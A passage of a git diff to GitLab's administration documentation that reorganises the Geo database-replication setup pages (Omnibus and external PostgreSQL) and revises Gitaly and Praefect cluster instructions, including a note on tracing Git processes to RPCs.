GitLab node as you would a normal standalone GitLab instance. +After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance. Pushing directly to a **secondary** node (for both HTTP, SSH including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3. diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md index 900d09bdd34..1ae246e3e61 100644 --- a/doc/administration/geo/replication/version_specific_updates.md +++ b/doc/administration/geo/replication/version_specific_updates.md @@ -314,7 +314,7 @@ sudo gitlab-ctl reconfigure ``` If you do not perform this step, you may find that two-factor authentication -[is broken following DR](../disaster_recovery/index.md#i-followed-the-disaster-recovery-instructions-and-now-two-factor-auth-is-broken). +[is broken following DR](troubleshooting.md#two-factor-authentication-is-broken-after-a-failover). To prevent SSH requests to the newly promoted **primary** node from failing due to SSH host key mismatch when updating the **primary** node domain's DNS record @@ -343,7 +343,7 @@ Support for TLS-secured PostgreSQL replication has been added. If you are currently using PostgreSQL replication across the open internet without an external means of securing the connection (e.g., a site-to-site VPN), then you should immediately reconfigure your **primary** and **secondary** PostgreSQL instances -according to the [updated instructions](database.md). +according to the [updated instructions](../setup/database.md). If you *are* securing the connections externally and wish to continue doing so, ensure you include the new option `--sslmode=prefer` in future invocations of @@ -441,7 +441,7 @@ Omnibus is the following: 1. Check the steps about defining `postgresql['sql_user_password']`, `gitlab_rails['db_password']`. 1. Make sure `postgresql['max_replication_slots']` matches the number of **secondary** Geo nodes locations. 1. Install GitLab on the **secondary** server. -1. Re-run the [database replication process](database.md#step-3-initiate-the-replication-process). +1. Re-run the [database replication process](../setup/database.md#step-3-initiate-the-replication-process). ## Updating to GitLab 9.0 diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md new file mode 100644 index 00000000000..aefa8a0e399 --- /dev/null +++ b/doc/administration/geo/setup/database.md @@ -0,0 +1,473 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: howto +--- + +# Geo database replication **(PREMIUM ONLY)** + +NOTE: **Note:** +If your GitLab installation uses external (not managed by Omnibus) PostgreSQL +instances, the Omnibus roles will not be able to perform all necessary +configuration steps. In this case, +[follow the Geo with external PostgreSQL instances document instead](external_database.md). + +NOTE: **Note:** +The stages of the setup process must be completed in the documented order. +Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab). + +This document describes the minimal steps you have to take in order to +replicate your **primary** GitLab database to a **secondary** node's database. You may +have to change some values according to your database setup, how big it is, etc. + +You are encouraged to first read through all the steps before executing them +in your testing/production environment. + +## PostgreSQL replication + +The GitLab **primary** node where the write operations happen will connect to +the **primary** database server, and **secondary** nodes will +connect to their own database servers (which are also read-only). + +We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75) +to ensure that the **primary** node retains all the data necessary for the **secondary** nodes to +recover. See below for more details. + +The following guide assumes that: + +- You are using Omnibus and therefore you are using PostgreSQL 11 or later + which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html). +- You have a **primary** node already set up (the GitLab server you are + replicating from), running Omnibus' PostgreSQL (or equivalent version), and + you have a new **secondary** server set up with the same versions of the OS, + PostgreSQL, and GitLab on all nodes. + +CAUTION: **Warning:** +Geo works with streaming replication. Logical replication is not supported at this time. +There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420). + +### Step 1. Configure the **primary** server + +1. SSH into your GitLab **primary** server and login as root: + + ```shell + sudo -i + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** name for your node: + + ```ruby + # The unique identifier for the Geo node. + gitlab_rails['geo_node_name'] = '<node_name_here>' + ``` + +1. Reconfigure the **primary** node for the change to take effect: + + ```shell + gitlab-ctl reconfigure + ``` + +1. Execute the command below to define the node as **primary** node: + + ```shell + gitlab-ctl set-geo-primary-node + ``` + + This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`. + +1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined: + + NOTE: **Note:** + Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the + password for PostgreSQL as that will lead to errors when reconfiguring. + + Generate a MD5 hash of the desired password: + + ```shell + gitlab-ctl pg-password-md5 gitlab + # Enter password: <your_password_here> + # Confirm password: <your_password_here> + # fca0b89a972d69f00eb3ec98a5838484 + ``` + + Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab` + postgresql['sql_user_password'] = '<md5_hash_of_your_password>' + + # Every node that runs Puma or Sidekiq needs to have the database + # password specified as below. If you have a high-availability setup, this + # must be present in all application nodes. + gitlab_rails['db_password'] = '<your_password_here>' + ``` + +1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication) + called `gitlab_replicator`. You must set the password for this user manually. + You will be prompted to enter a password: + + ```shell + gitlab-ctl set-replication-password + ``` + + This command will also read the `postgresql['sql_replication_user']` Omnibus + setting in case you have changed `gitlab_replicator` username to something + else. + + If you are using an external database not managed by Omnibus GitLab, you need + to create the replicator user and define a password to it manually: + + ```sql + --- Create a new user 'replicator' + CREATE USER gitlab_replicator; + + --- Set/change a password and grants replication privilege + ALTER USER gitlab_replicator WITH REPLICATION ENCRYPTED PASSWORD '<replication_password>'; + ``` + +1. Configure PostgreSQL to listen on network interfaces: + + For security reasons, PostgreSQL does not listen on any network interfaces + by default. However, Geo requires the **secondary** node to be able to + connect to the **primary** node's database. For this reason, we need the address of + each node. + + NOTE: **Note:** + For external PostgreSQL instances, see [additional instructions](external_database.md). + + If you are using a cloud provider, you can lookup the addresses for each + Geo node through your cloud provider's management console. + + To lookup the address of a Geo node, SSH in to the Geo node and execute: + + ```shell + ## + ## Private address + ## + ip route get 255.255.255.255 | awk '{print "Private address:", $NF; exit}' + + ## + ## Public address + ## + echo "External address: $(curl --silent ipinfo.io/ip)" + ``` + + In most cases, the following addresses will be used to configure GitLab + Geo: + + | Configuration | Address | + |:----------------------------------------|:------------------------------------------------------| + | `postgresql['listen_address']` | **Primary** node's public or VPC private address. | + | `postgresql['md5_auth_cidr_addresses']` | **Secondary** node's public or VPC private addresses. | + + If you are using Google Cloud Platform, SoftLayer, or any other vendor that + provides a virtual private cloud (VPC) you can use the **primary** and **secondary** nodes + private addresses (corresponds to "internal address" for Google Cloud Platform) for + `postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`. + + The `listen_address` option opens PostgreSQL up to network connections with the interface + corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html) + for more details. + + NOTE: **Note:** + If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add + `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through + `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258). + + Depending on your network configuration, the suggested addresses may not + be correct. If your **primary** node and **secondary** nodes connect over a local + area network, or a virtual network connecting availability zones like + [Amazon's VPC](https://aws.amazon.com/vpc/) or [Google's VPC](https://cloud.google.com/vpc/) + you should use the **secondary** node's private address for `postgresql['md5_auth_cidr_addresses']`. + + Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP + addresses with addresses appropriate to your network configuration: + + ```ruby + ## + ## Geo Primary role + ## - configure dependent flags automatically to enable Geo + ## + roles ['geo_primary_role'] + + ## + ## Primary address + ## - replace '<primary_node_ip>' with the public or VPC address of your Geo primary node + ## + postgresql['listen_address'] = '<primary_node_ip>' + + ## + # Allow PostgreSQL client authentication from the primary and secondary IPs. These IPs may be + # public or VPC addresses in CIDR format, for example ['198.51.100.1/32', '198.51.100.2/32'] + ## + postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32'] + + ## + ## Replication settings + ## - set this to be the number of Geo secondary nodes you have + ## + postgresql['max_replication_slots'] = 1 + # postgresql['max_wal_senders'] = 10 + # postgresql['wal_keep_segments'] = 10 + + ## + ## Disable automatic database migrations temporarily + ## (until PostgreSQL is restarted and listening on the private address). + ## + gitlab_rails['auto_migrate'] = false + ``` + +1. Optional: If you want to add another **secondary** node, the relevant setting would look like: + + ```ruby + postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32', '<another_secondary_node_ip>/32'] + ``` + + You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your + database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html) + for more information. + +1. Save the file and reconfigure GitLab for the database listen changes and + the replication slot changes to be applied: + + ```shell + gitlab-ctl reconfigure + ``` + + Restart PostgreSQL for its changes to take effect: + + ```shell + gitlab-ctl restart postgresql + ``` + +1. Re-enable migrations now that PostgreSQL is restarted and listening on the + private address. + + Edit `/etc/gitlab/gitlab.rb` and **change** the configuration to `true`: + + ```ruby + gitlab_rails['auto_migrate'] = true + ``` + + Save the file and reconfigure GitLab: + + ```shell + gitlab-ctl reconfigure + ``` + +1. Now that the PostgreSQL server is set up to accept remote connections, run + `netstat -plnt | grep 5432` to make sure that PostgreSQL is listening on port + `5432` to the **primary** server's private address. + +1. A certificate was automatically generated when GitLab was reconfigured. This + will be used automatically to protect your PostgreSQL traffic from + eavesdroppers, but to protect against active ("man-in-the-middle") attackers, + the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL + `server.crt` file on the **primary** node by running this command: + + ```shell + cat ~gitlab-psql/data/server.crt + ``` + + Copy the output into a clipboard or into a local file. You + will need it when setting up the **secondary** node! The certificate is not sensitive + data. + +### Step 2. Configure the **secondary** server + +1. SSH into your GitLab **secondary** server and login as root: + + ```shell + sudo -i + ``` + +1. Stop application server and Sidekiq + + ```shell + gitlab-ctl stop puma + gitlab-ctl stop sidekiq + ``` + + NOTE: **Note:** + This step is important so we don't try to execute anything before the node is fully configured. + +1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server: + + ```shell + gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432] + ``` + + NOTE: **Note:** + If this step fails, you may be using the wrong IP address, or a firewall may + be preventing access to the server. Check the IP address, paying close + attention to the difference between public and private addresses and ensure + that, if a firewall is present, the **secondary** node is permitted to connect to the + **primary** node on port 5432. + +1. Create a file `server.crt` in the **secondary** server, with the content you got on the last step of the **primary** node's setup: + + ```shell + editor server.crt + ``` + +1. Set up PostgreSQL TLS verification on the **secondary** node: + + Install the `server.crt` file: + + ```shell + install \ + -D \ + -o gitlab-psql \ + -g gitlab-psql \ + -m 0400 \ + -T server.crt ~gitlab-psql/.postgresql/root.crt + ``` + + PostgreSQL will now only recognize that exact certificate when verifying TLS + connections. The certificate can only be replicated by someone with access + to the private key, which is **only** present on the **primary** node. + +1. Test that the `gitlab-psql` user can connect to the **primary** node's database + (the default Omnibus database name is `gitlabhq_production`): + + ```shell + sudo \ + -u gitlab-psql /opt/gitlab/embedded/bin/psql \ + --list \ + -U gitlab_replicator \ + -d "dbname=gitlabhq_production sslmode=verify-ca" \ + -W \ + -h <primary_node_ip> + ``` + + When prompted enter the password you set in the first step for the + `gitlab_replicator` user. If all worked correctly, you should see + the list of **primary** node's databases. + + A failure to connect here indicates that the TLS configuration is incorrect. + Ensure that the contents of `~gitlab-psql/data/server.crt` on the **primary** node + match the contents of `~gitlab-psql/.postgresql/root.crt` on the **secondary** node. + +1. Configure PostgreSQL: + + This step is similar to how we configured the **primary** instance. + We need to enable this, even if using a single node. + + Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP + addresses with addresses appropriate to your network configuration: + + ```ruby + ## + ## Geo Secondary role + ## - configure dependent flags automatically to enable Geo + ## + roles ['geo_secondary_role'] + + ## + ## Secondary address + ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node + ## + postgresql['listen_address'] = '<secondary_node_ip>' + postgresql['md5_auth_cidr_addresses'] = ['<secondary_node_ip>/32'] + + ## + ## Database credentials password (defined previously in primary node) + ## - replicate same values here as defined in primary node + ## + postgresql['sql_user_password'] = '<md5_hash_of_your_password>' + gitlab_rails['db_password'] = '<your_password_here>' + ``` + + For external PostgreSQL instances, see [additional instructions](external_database.md). + If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`. + +1. Reconfigure GitLab for the changes to take effect: + + ```shell + gitlab-ctl reconfigure + ``` + +1. Restart PostgreSQL for the IP change to take effect: + + ```shell + gitlab-ctl restart postgresql + ``` + +### Step 3. Initiate the replication process + +Below we provide a script that connects the database on the **secondary** node to +the database on the **primary** node, replicates the database, and creates the +needed files for streaming replication. + +The directories used are the defaults that are set up in Omnibus. If you have +changed any defaults, configure it as you see fit replacing the directories and paths. + +CAUTION: **Warning:** +Make sure to run this on the **secondary** server as it removes all PostgreSQL's +data before running `pg_basebackup`. + +1. SSH into your GitLab **secondary** server and login as root: + + ```shell + sudo -i + ``` + +1. Choose a database-friendly name to use for your **secondary** node to + use as the replication slot name. For example, if your domain is + `secondary.geo.example.com`, you may use `secondary_example` as the slot + name as shown in the commands below. + +1. Execute the command below to start a backup/restore and begin the replication + + CAUTION: **Warning:** + Each Geo **secondary** node must have its own unique replication slot name. + Using the same slot name between two secondaries will break PostgreSQL replication. + + ```shell + gitlab-ctl replicate-geo-database \ + --slot-name=<secondary_node_name> \ + --host=<primary_node_ip> + ``` + + NOTE: **Note:** + Replication slot names must only contain lowercase letters, numbers, and the underscore character. + + When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator` + user in the first step. + + This command also takes a number of additional options. You can use `--help` + to list them all, but here are a couple of tips: + + - If PostgreSQL is listening on a non-standard port, add `--port=` as well. + - If your database is too large to be transferred in 30 minutes, you will need + to increase the timeout, e.g., `--backup-timeout=3600` if you expect the + initial replication to take under an hour. + - Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether + (e.g., you know the network path is secure, or you are using a site-to-site + VPN). This is **not** safe over the public Internet! + - You can read more details about each `sslmode` in the + [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION); + the instructions above are carefully written to ensure protection against + both passive eavesdroppers and active "man-in-the-middle" attackers. + - Change the `--slot-name` to the name of the replication slot + to be used on the **primary** database. The script will attempt to create the + replication slot automatically if it does not exist. + - If you're repurposing an old server into a Geo **secondary** node, you'll need to + add `--force` to the command line. + - When not in a production machine you can disable backup step if you + really sure this is what you want by adding `--skip-backup` + +The replication process is now complete. + +## PgBouncer support (optional) + +[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool +PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a +high-availability configuration with a cluster of nodes supporting a Geo +**primary** node and another cluster of nodes supporting a Geo **secondary** node. For more +information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md). + +## Troubleshooting + +Read the [troubleshooting document](../replication/troubleshooting.md). diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md new file mode 100644 index 00000000000..33a7bc38b6e --- /dev/null +++ b/doc/administration/geo/setup/external_database.md @@ -0,0 +1,234 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: howto +--- + +# Geo with external PostgreSQL instances **(PREMIUM ONLY)** + +This document is relevant if you are using a PostgreSQL instance that is *not +managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or +manually installed and configured PostgreSQL instances. + +NOTE: **Note:** +We strongly recommend running Omnibus-managed instances as they are actively +developed and tested. We aim to be compatible with most external +(not managed by Omnibus) databases but we do not guarantee compatibility. + +## **Primary** node + +1. SSH into a GitLab **primary** application server and login as root: + + ```shell + sudo -i + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value): + + ```ruby + # The unique identifier for the Geo node. + gitlab_rails['geo_node_name'] = '<node_name_here>' + ``` + +1. Reconfigure the **primary** node for the change to take effect: + + ```shell + gitlab-ctl reconfigure + ``` + +1. Execute the command below to define the node as **primary** node: + + ```shell + gitlab-ctl set-geo-primary-node + ``` + + This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`. + +### Configure the external database to be replicated + +To set up an external database, you can either: + +- Set up streaming replication yourself (for example, in AWS RDS). +- Perform the Omnibus configuration manually as follows. + +#### Leverage your cloud provider's tools to replicate the primary database + +Given you have a primary node set up on AWS EC2 that uses RDS. +You can now just create a read-only replica in a different region and the +replication process will be managed by AWS. Make sure you've set Network ACL, Subnet, and +Security Group according to your needs, so the secondary application node can access the database. + +The following instructions detail how to create a read-only replica for common +cloud providers: + +- Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create) +- Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal) + +Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica). + +#### Manually configure the primary database for replication + +The [`geo_primary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles) +configures the **primary** node's database to be replicated by making changes to +`pg_hba.conf` and `postgresql.conf`. Make the following configuration changes +manually to your external database configuration and ensure that you restart PostgreSQL +afterwards for the changes to take effect: + +```plaintext +## +## Geo Primary Role +## - pg_hba.conf +## +host all all <trusted primary IP>/32 md5 +host replication gitlab_replicator <trusted primary IP>/32 md5 +host all all <trusted secondary IP>/32 md5 +host replication gitlab_replicator <trusted secondary IP>/32 md5 +``` + +```plaintext +## +## Geo Primary Role +## - postgresql.conf +## +wal_level = hot_standby +max_wal_senders = 10 +wal_keep_segments = 50 +max_replication_slots = 1 # number of secondary instances +hot_standby = on +``` + +## **Secondary** nodes + +### Manually configure the replica database + +Make the following configuration changes manually to your `pg_hba.conf` and `postgresql.conf` +of your external replica database and ensure that you restart PostgreSQL afterwards +for the changes to take effect: + +```plaintext +## +## Geo Secondary Role +## - pg_hba.conf +## +host all all <trusted secondary IP>/32 md5 +host replication gitlab_replicator <trusted secondary IP>/32 md5 +host all all <trusted primary IP>/24 md5 +``` + +```plaintext +## +## Geo Secondary Role +## - postgresql.conf +## +wal_level = hot_standby +max_wal_senders = 10 +wal_keep_segments = 10 +hot_standby = on +``` + +### Configure **secondary** application nodes to use the external read-replica + +With Omnibus, the +[`geo_secondary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles) +has three main functions: + +1. Configure the replica database. +1. Configure the tracking database. +1. Enable the [Geo Log Cursor](../index.md#geo-log-cursor) (not covered in this section). + +To configure the connection to the external read-replica database and enable Log Cursor: + +1. SSH into a GitLab **secondary** application server and login as root: + + ```shell + sudo -i + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and add the following + + ```ruby + ## + ## Geo Secondary role + ## - configure dependent flags automatically to enable Geo + ## + roles ['geo_secondary_role'] + + # note this is shared between both databases, + # make sure you define the same password in both + gitlab_rails['db_password'] = '<your_password_here>' + + gitlab_rails['db_username'] = 'gitlab' + gitlab_rails['db_host'] = '<database_read_replica_host>' + + # Disable the bundled Omnibus PostgreSQL, since we are + # using an external PostgreSQL + postgresql['enable'] = false + ``` + +1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) + +### Configure the tracking database + +**Secondary** nodes use a separate PostgreSQL installation as a tracking +database to keep track of replication status and automatically recover from +potential replication issues. Omnibus automatically configures a tracking database +when `roles ['geo_secondary_role']` is set. +If you want to run this database external to Omnibus, please follow the instructions below. + +If you are using a cloud-managed service for the tracking database, you may need +to grant additional roles to your tracking database user (by default, this is +`gitlab_geo`): + +- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role. +- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role. + +If you have an external database ready to be used as the tracking database, +follow the instructions below to use it: + +NOTE: **Note:** +If you want to use AWS RDS as a tracking database, make sure it has access to +the secondary database. Unfortunately, just assigning the same security group is not enough as +outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound +rule to the read-replica's security group allowing any TCP traffic from +the tracking database on port 5432. + +1. Ensure that your secondary node can communicate with your tracking database by + manually changing the `pg_hba.conf` that is associated with your tracking database. + Remember to restart PostgreSQL afterwards for the changes to take effect: + + ```plaintext + ## + ## Geo Tracking Database Role + ## - pg_hba.conf + ## + host all all <trusted tracking IP>/32 md5 + host all all <trusted secondary IP>/32 md5 + ``` + +1. SSH into a GitLab **secondary** server and login as root: + + ```shell + sudo -i + ``` + +1. Edit `/etc/gitlab/gitlab.rb` with the connection parameters and credentials for + the machine with the PostgreSQL instance: + + ```ruby + geo_secondary['db_username'] = 'gitlab_geo' + geo_secondary['db_password'] = '<your_password_here>' + + geo_secondary['db_host'] = '<tracking_database_host>' + geo_secondary['db_port'] = <tracking_database_port> # change to the correct port + geo_postgresql['enable'] = false # don't use internal managed instance + ``` + +1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) + +1. Run the tracking database migrations: + + ```shell + gitlab-rake geo:db:create + gitlab-rake geo:db:migrate + ``` diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md new file mode 100644 index 00000000000..a4d9fcba14d --- /dev/null +++ b/doc/administration/geo/setup/index.md @@ -0,0 +1,32 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: howto +--- + +# Setting up Geo + +These instructions assume you have a working instance of GitLab. They guide you through: + +1. Making your existing instance the **primary** node. +1. Adding **secondary** nodes. + +CAUTION: **Caution:** +The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.** + +## Using Omnibus GitLab + +If you installed GitLab using the Omnibus packages (highly recommended): + +1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the server that will serve as the **secondary** node. Do not create an account or log in to the new **secondary** node. +1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** node to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher. +1. [Set up the database replication](database.md) (`primary (read-write) <-> secondary (read-only)` topology). +1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** nodes. +1. [Configure GitLab](../replication/configuration.md) to set the **primary** and **secondary** nodes. +1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** node. See [notes on LDAP](../index.md#ldap). +1. [Follow the "Using a Geo Server" guide](../replication/using_a_geo_server.md). + +## Post-installation documentation + +After installing GitLab on the **secondary** nodes and performing the initial configuration, see the [following documentation for post-installation information](../index.md#post-installation-documentation). diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 9558488c89e..e6b137bac29 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -988,9 +988,12 @@ When GitLab calls a function that has a "Rugged patch", it performs two checks: - Is the feature flag for this patch set in the database? If so, the feature flag setting controls GitLab's use of "Rugged patch" code. - If the feature flag is not set, GitLab tries accessing the filesystem underneath the - Gitaly server directly. If it can, it will use the "Rugged patch". + Gitaly server directly. If it can, it will use the "Rugged patch": + - If using Unicorn. + - If using Puma and [thread count](../../install/requirements.md#puma-threads) is set + to `1`. -The result of both of these checks is cached. +The result of these checks is cached. To see if GitLab can access the repository filesystem directly, we use the following heuristic: @@ -1072,6 +1075,24 @@ You can run a gRPC trace with: sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check ``` +### Correlating Git processes with RPCs + +Sometimes you need to find out which Gitaly RPC created a particular Git process. + +One method for doing this is via `DEBUG` logging. However, this needs to be enabled +ahead of time and the logs produced are quite verbose. + +A lightweight method for doing this correlation is by inspecting the environment +of the Git process (using its `PID`) and looking at the `CORRELATION_ID` variable: + +```shell +PID=<Git process ID> +sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID= +``` + +Please note that this method is not reliable for `git cat-file` processes because Gitaly +internally pools and re-uses those across RPCs. + ### Observing `gitaly-ruby` traffic [`gitaly-ruby`](#gitaly-ruby) is an internal implementation detail of Gitaly, diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 2e9e036c24e..876904a2093 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -129,7 +129,7 @@ the Omnibus GitLab distribution is not yet supported. Follow this Prepare all your new nodes by [installing GitLab](https://about.gitlab.com/install/). -- 1 Praefect node (minimal storage required) +- At least 1 Praefect node (minimal storage required) - 3 Gitaly nodes (high CPU, high memory, fast storage) - 1 GitLab server @@ -171,7 +171,7 @@ We will note in the instructions below where these secrets are required. NOTE: **Note:** Do not store the GitLab application database and the Praefect database on the same PostgreSQL server if using -[Geo](../geo/replication/index.md). The replication state is internal to each instance +[Geo](../geo/index.md). The replication state is internal to each instance of GitLab and should not be replicated. These instructions help set up a single PostgreSQL database, which creates a single point of @@ -232,18 +232,19 @@ The database used by Praefect is now configured. #### PgBouncer -To reduce PostgreSQL resource consumption, you should set up and configure +To reduce PostgreSQL resource consumption, we recommend setting up and configuring [PgBouncer](https://www.pgbouncer.org/) in front of the PostgreSQL instance. To do this, replace value of the `POSTGRESQL_SERVER_ADDRESS` with corresponding IP or host address of the PgBouncer instance. This documentation doesn't provide PgBouncer installation instructions, -you can: +but you can: - Find instructions on the [official website](https://www.pgbouncer.org/install.html). - Use a [Docker image](https://hub.docker.com/r/edoburu/pgbouncer/). -In addition to base PgBouncer configuration options, set the following values: +In addition to the base PgBouncer configuration options, set the following values in +your `pgbouncer.ini` file: - The [Praefect PostgreSQL database](#postgresql) in the `[databases]` section: @@ -275,6 +276,11 @@ PostgreSQL instances. Otherwise you should change the configuration parameter ### Praefect +> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`. + +NOTE: **Note:** +If there are multiple Praefect nodes, complete these steps for **each** node. + To complete this section you will need: - [Configured PostgreSQL server](#postgresql), including: @@ -376,7 +382,7 @@ application server, or a Gitaly node. CAUTION: **Caution:** If you have data on an already existing storage called `default`, you should configure the virtual storage with another name and - [migrate the data to the Praefect storage](#migrating-existing-repositories-to-praefect) + [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) afterwards. Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which will be used by @@ -388,11 +394,6 @@ application server, or a Gitaly node. More Gitaly nodes can be added to the cluster to increase the number of replicas. More clusters can also be added for very large GitLab instances. - NOTE: **Note:** - The `gitaly-1` node is currently denoted the primary. This - can be used to manually fail from one node to another. This will be removed - in the [future](https://gitlab.com/gitlab-org/gitaly/-/issues/2634). - ```ruby # Name of storage hash must match storage name in git_data_dirs on GitLab # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') @@ -401,7 +402,6 @@ application server, or a Gitaly node. 'gitaly-1' => { 'address' => 'tcp://GITALY_HOST:8075', 'token' => 'PRAEFECT_INTERNAL_TOKEN', - 'primary' => true }, 'gitaly-2' => { 'address' => 'tcp://GITALY_HOST:8075', @@ -426,7 +426,7 @@ application server, or a Gitaly node. 1. To ensure that Praefect [has updated its Prometheus listen address](https://gitlab.com/gitlab-org/gitaly/-/issues/2734), [restart - Gitaly](../restart_gitlab.md#omnibus-gitlab-restart): + Praefect](../restart_gitlab.md#omnibus-gitlab-restart): ```shell gitlab-ctl restart praefect @@ -444,7 +444,7 @@ application server, or a Gitaly node. **The steps above must be completed for each Praefect node!** -## Enabling TLS support +#### Enabling TLS support > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/1698) in GitLab 13.2. @@ -677,7 +677,7 @@ documentation](index.md#configure-gitaly-servers). # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your front door GitLab URL or an internal load balancer. - # Examples: 'https://example.gitlab.com', 'http://1.2.3.4' + # Examples: 'https://gitlab.example.com', 'http://1.2.3.4' gitlab_rails['internal_api_url'] = 'http://GITLAB_HOST' ``` @@ -730,7 +730,7 @@ After all Gitaly nodes are configured, you can run the Praefect connection checker to verify Praefect can connect to all Gitaly servers in the Praefect config. -1. SSH into the **Praefect** node and run the Praefect connection checker: +1. SSH into each **Praefect** node and run the Praefect connection checker: ```shell sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dial-nodes @@ -774,9 +774,9 @@ application. This is done by updating the `git_data_dirs`. Particular attention should be shown to: - the storage name added to `git_data_dirs` in this section must match the - storage name under `praefect['virtual_storages']` on the Praefect node. This + storage name under `praefect['virtual_storages']` on the Praefect node(s). This was set in the [Praefect](#praefect) section of this guide. This document uses - `storage-1` as the Praefect storage name. + `default` as the Praefect storage name. 1. SSH into the **GitLab** node and login as root: @@ -799,7 +799,8 @@ Particular attention should be shown to: CAUTION: **Caution:** If you have existing data stored on the default Gitaly storage, - you should 